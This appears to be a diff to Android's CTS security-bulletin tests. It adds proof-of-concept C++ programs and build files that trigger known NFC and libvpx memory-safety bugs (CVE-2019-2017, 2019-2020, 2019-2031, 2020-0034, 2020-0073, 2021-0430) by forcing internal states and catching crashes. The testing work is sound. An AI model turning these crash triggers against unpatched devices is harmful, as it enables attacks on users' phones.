+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 0;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ rw_cb.p_cback = &poc_cback;
+ p_data = (uint8_t *)malloc(sizeof(uint8_t));
+ FAIL_CHECK(p_data);
+
+ testInProgress = true;
+ rw_t2t_handle_rsp(p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
new file mode 100644
index 00000000000..5fdbfdba161
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2020",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 00000000000..ba4d950474e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+int32_t main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ GKI_init();
+ llcp_init();
+ for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+ llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+ llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+ llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+ }
+
+ testInProgress = true;
+ llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+ nullptr);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 00000000000..639ca9113ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2031",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ "system/nfc/src/nfa/include",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 00000000000..17812370c49
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+ NFC_STATUS_OK)
+
+ p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+ p_t3t->ndef_attrib.ln = 0x000F;
+
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->offset = 0;
+ p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+ uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+ p_t3t_rsp[0] = NCI_STATUS_OK;
+ p_t3t_rsp++;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
new file mode 100644
index 00000000000..aa9a2f93e70
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2020-0034",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "32",
+ arch: {
+ arm: {
+ include_dirs: [
+ "external/libvpx/config/arm-neon",
+ ],
+ shared_libs: [
+ "libvpx",
+ ],
+ cflags: [
+ "-DTEST_ARM32",
+ ],
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 00000000000..cc7cc22b99b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+ if (fp) {
+ fclose(fp);
+ }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+#ifdef TEST_ARM32
+ atexit(exitHandler);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ FAIL_CHECK(argc >= 2);
+ fp = fopen(argv[1], "rb");
+ FAIL_CHECK(fp);
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+ std::vector<uint8_t> buffer(size);
+ FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+ vpx_codec_ctx_t codec;
+ vpx_codec_dec_cfg_t cfg;
+ memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+ cfg.threads = 1;
+ FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+ uint8_t *data = buffer.data();
+ data += IVF_FILE_HDR_SZ;
+ size -= IVF_FILE_HDR_SZ;
+
+ while (size > IVF_FRAME_HDR_SZ) {
+ size_t frame_size = mem_get_le32(data);
+ size -= IVF_FRAME_HDR_SZ;
+ data += IVF_FRAME_HDR_SZ;
+ frame_size = std::min(size, frame_size);
+
+ testInProgress = true;
+ vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+ testInProgress = false;
+
+ vpx_codec_iter_t iter = nullptr;
+ vpx_image_t *img = nullptr;
+ while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+ if (img->d_w > img->w || img->d_h > img->h) {
+ return EXIT_VULNERABLE;
+ }
+ }
+ data += frame_size;
+ size -= frame_size;
+ }
+ vpx_codec_destroy(&codec);
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea4462558..8249c0c344e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
rw_init();
rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@ int main() {
p_t2t->bytes_count = 1;
p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935ce0af..5033b2e6103 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a2007..bb3bdc20f4d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
* limitations under the License.
*/
+#include <../includes/common.h>
+#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>
#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
-void GKI_freebuf(void*) {
-}
+char enable_selective_overload = ENABLE_NONE;
-void GKI_start_timer(uint8_t, int32_t, bool) {
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
}
-void GKI_stop_timer(uint8_t) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
}
-void cback(tRW_EVENT, tRW_DATA*) {
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+
+ if (p_mfc) {
+ if (p_mfc->p_ndef_buffer) {
+ free(p_mfc->p_ndef_buffer);
+ p_mfc->p_ndef_buffer = nullptr;
+ }
+ free(p_mfc);
+ p_mfc = nullptr;
+ }
}
int main() {
- tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ p_mfc = &rw_cb.tcb.mfc;
GKI_init();
rw_init();
uint8_t selres = 1;
- uint8_t uid[MFC_UID_LEN] = { 1 };
- if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ uint8_t uid[MFC_UID_LEN] = {1};
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
p_mfc->state = RW_MFC_STATE_READ_NDEF;
p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
- tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
- tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
- p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
- if (!(p_data->data.p_data)) {
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+ FAIL_CHECK(p_data->data.p_data);
p_data->data.status = NFC_STATUS_OK;
tNFC_CONN_EVT event = NFC_DATA_CEVT;
- NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
- mfc_data->len = 0x10;
+ NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+ mfc_data->len = RW_MFC_DATA_LEN;
mfc_data->offset = 0;
- p_mfc->ndef_length = 1024;
- p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
- if (!(p_mfc->p_ndef_buffer)) {
- free(p_data->data.p_data);
- free(p_data);
- return EXIT_FAILURE;
- }
+ p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+ p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(p_mfc->p_ndef_buffer);
rw_cb.p_cback = cback;
+ isTestInProgress = true;
p_cb->p_cback(0, event, p_data);
+ isTestInProgress = false;
- free(p_mfc->p_ndef_buffer);
- free(p_data->data.p_data);
- free(p_data);
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
deleted file mode 100644
index 875a38ad762..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include "TestInputListener.h"
-
-namespace android {
-
-// --- TestInputListener ---
-
-TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
- std::chrono::milliseconds eventDidNotHappenTimeout)
- : mEventHappenedTimeout(eventHappenedTimeout),
- mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
-
-TestInputListener::~TestInputListener() {}
-
-template <class NotifyArgsType>
-void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- if (queue.empty()) {
- const bool eventReceived =
- mCondition.wait_for(lock, mEventHappenedTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (!eventReceived) {
- return;
- }
- }
- if (outEventArgs) {
- *outEventArgs = *queue.begin();
- }
- queue.erase(queue.begin());
-}
-
